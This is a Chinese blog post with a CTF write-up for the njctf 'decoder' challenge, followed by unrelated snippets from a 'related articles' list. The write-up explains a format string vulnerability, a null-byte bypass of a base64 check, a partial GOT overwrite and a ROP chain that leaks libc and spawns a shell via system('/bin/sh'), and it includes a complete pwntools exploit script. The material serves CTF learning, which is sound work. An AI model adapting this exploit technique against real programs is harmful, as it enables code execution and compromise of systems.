格式化字符串漏洞利用实战之 njctf-decoder
前言
格式化字符串漏洞也是一种比较常见的漏洞利用技术。ctf 中也经常出现。
本文以 njctf 线下赛的一道题为例进行实战。
题目链接:https://gitee.com/hac425/blog_data/blob/master/decoder
正文
程序的流程如下

部分函数已经进行了标注,看程序打印出来的提示信息就知道这个是一个 base64 解码的程序,然后可以通过 猜测 + 验证 的方式,找到那个 用于 base64 解码的函数。
这个程序的漏洞在于将 base64 解码后的字符串直接传入 snprintf, 作为 format 进行处理, 格式化漏洞。

通过格式化串可以 任意写/任意读 , 不过这里一次格式化之后就会往下一种走到程序末尾。所以这里我采用 修改 printf@got的值 为 rop gadgets,然后进行 rop.
还需要注意前面还有check ,不满足 base64 的格式规范的字符串是触发不了漏洞的。不过我们可以绕过这些 check。

程序程序获取输入时使用的是 read 函数,然而后面的 base64_check 和 base64_decode 用到的输入的长度都是使用 strlen 获取的。strlen 是通过搜索 \x00 来确定字符串的长度, 而通过 read 我们可以输入 \x00, 所以我们在正常 base64 后面加上 \x00 然后布置 rop chain 即可。
还有一个小技巧,触发漏洞时 , printf 函数还没有被调用,所以 got 表中保存的值还是没有经过 重绑定 的值。

为了绕过栈里面的 base64 字符串 ,我们需要一个 add esp 的 gadgets 可以使用 ROPgadget.

找到一个 0x08048b31, 和 printf@got 的值只有 2个字节的差距,所以使用 %hn 可以写两个字节,写的数据为 0x8b31,地址为 0x0804B010
%35633c%7$hn
然后后面调用 printf 时就会进入 rop chain, 首先通过 rop 调用 puts 打印 read@got 泄露 libc

然后再次触发漏洞,用刚刚 leak的数据,布置 rop 调用 system('/bin/sh')

最后
对于 strlen 如果我们可以输入 \x00,则它的返回值我们是可以控制的。
通过部分修改 got,执行 rop,要注意后面紧跟着调用的函数。
最后的 exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./decoder")
gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E
b *0x08048b31
# b *0x8048c5f
c
''')
pause()
printf_got = 0x0804B010
read_got = 0x0804B00C
puts_plt = 0x08048520
main_addr = 0x08048B37
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C) # addr to leak
p.sendline(payload)
p.recvuntil("THIS IS A SIMPLE BASE64 DECODER\n")
read_addr = u32(p.recv(4))
libc_addr = read_addr - 0xd5af0
system_addr = libc_addr + 0x3ada0
sh_addr = libc_addr + 1423787
log.info("system: " + hex(system_addr))
log.info("/bin/sh: " + hex(sh_addr))
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(system_addr)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(sh_addr) # addr to leak
p.sendline(payload)
p.interactive()
格式化字符串漏洞利用实战之 njctf-decoder的更多相关文章
- 格式化字符串漏洞利用实战之 0ctf-easyprintf
前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...
- Linux下的格式化字符串漏洞利用姿势
linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- 格式化字符串漏洞 format string exploit(一)
本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...
- sprintf格式化字符串漏洞(转)
深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...
随机推荐
- error 'there is already an open datareader associated with this command which must be closed first'
This can be easily solved by allowing MARS in your connection string. Add MultipleActiveResultSets=t ...
- 【Git】学习记录
配置git git config --global user.name "用户名或者用户ID" git config --global user.email "邮箱&qu ...
- postman—post方式几种请求参数区别
postman中 form-data.x-www-form-urlencoded.raw.binary的区别 版权声明参考: https://blog.csdn.net/wangjun5159/art ...
- 关于Class的invokeDynamic指令
(1)java7之Special Methods (2)invokedynamic指令 https://www.cnblogs.com/wade-luffy/p/6058087.html public ...
- C/C++练习题(二)
1.下面这些指针分别代表什么? float(**p1)[10]; double*(*p2)[10]; double(*p3[10])(); int*((*p4)[10]); long(**p5)(in ...
- 问题记录 | VScode中使用IntelliJ的快捷键
问题记录 | VScode中使用IntelliJ的快捷键 主要想用ctrl+alt+l格式化Python代码 安装VScode的插件:IntelliJ IDEA Keybindings 安装方法: I ...
- 02-python基本数据类型
python的变量不需要声明, 但变量使用前必须复制, 因为python中所有的内容全部是对象 变量是没有类型的, 有类型的是指向内存对象的类型 a = ' a = 是合法的 此外, python还可 ...
- C#正则表达式合并连续空格为单个空格
第一种方法: 使用 System.Text.RegularExpressions.Regex.Replace()方法 string result = String.Empty; string str ...
- 理解Spring定时任务的fixedRate和fixedDelay
用过 Spring 的 @EnableScheduling 的都知道,我们用三种形式来部署计划任务,即 @Scheduled 注解的 fixedRate(fixedRateString), fixe ...
- 谈谈CSS的浮动问题
浮动的工作原理 浮动元素脱离文档流,不占据空间.浮动元素碰到包含它的边框或者浮动元素的边框则停留. 浮动元素可能引起的问题 1.父元素的高度无法被撑开,影响与父级元素同级的元素 2.与浮动元素同级的非 ...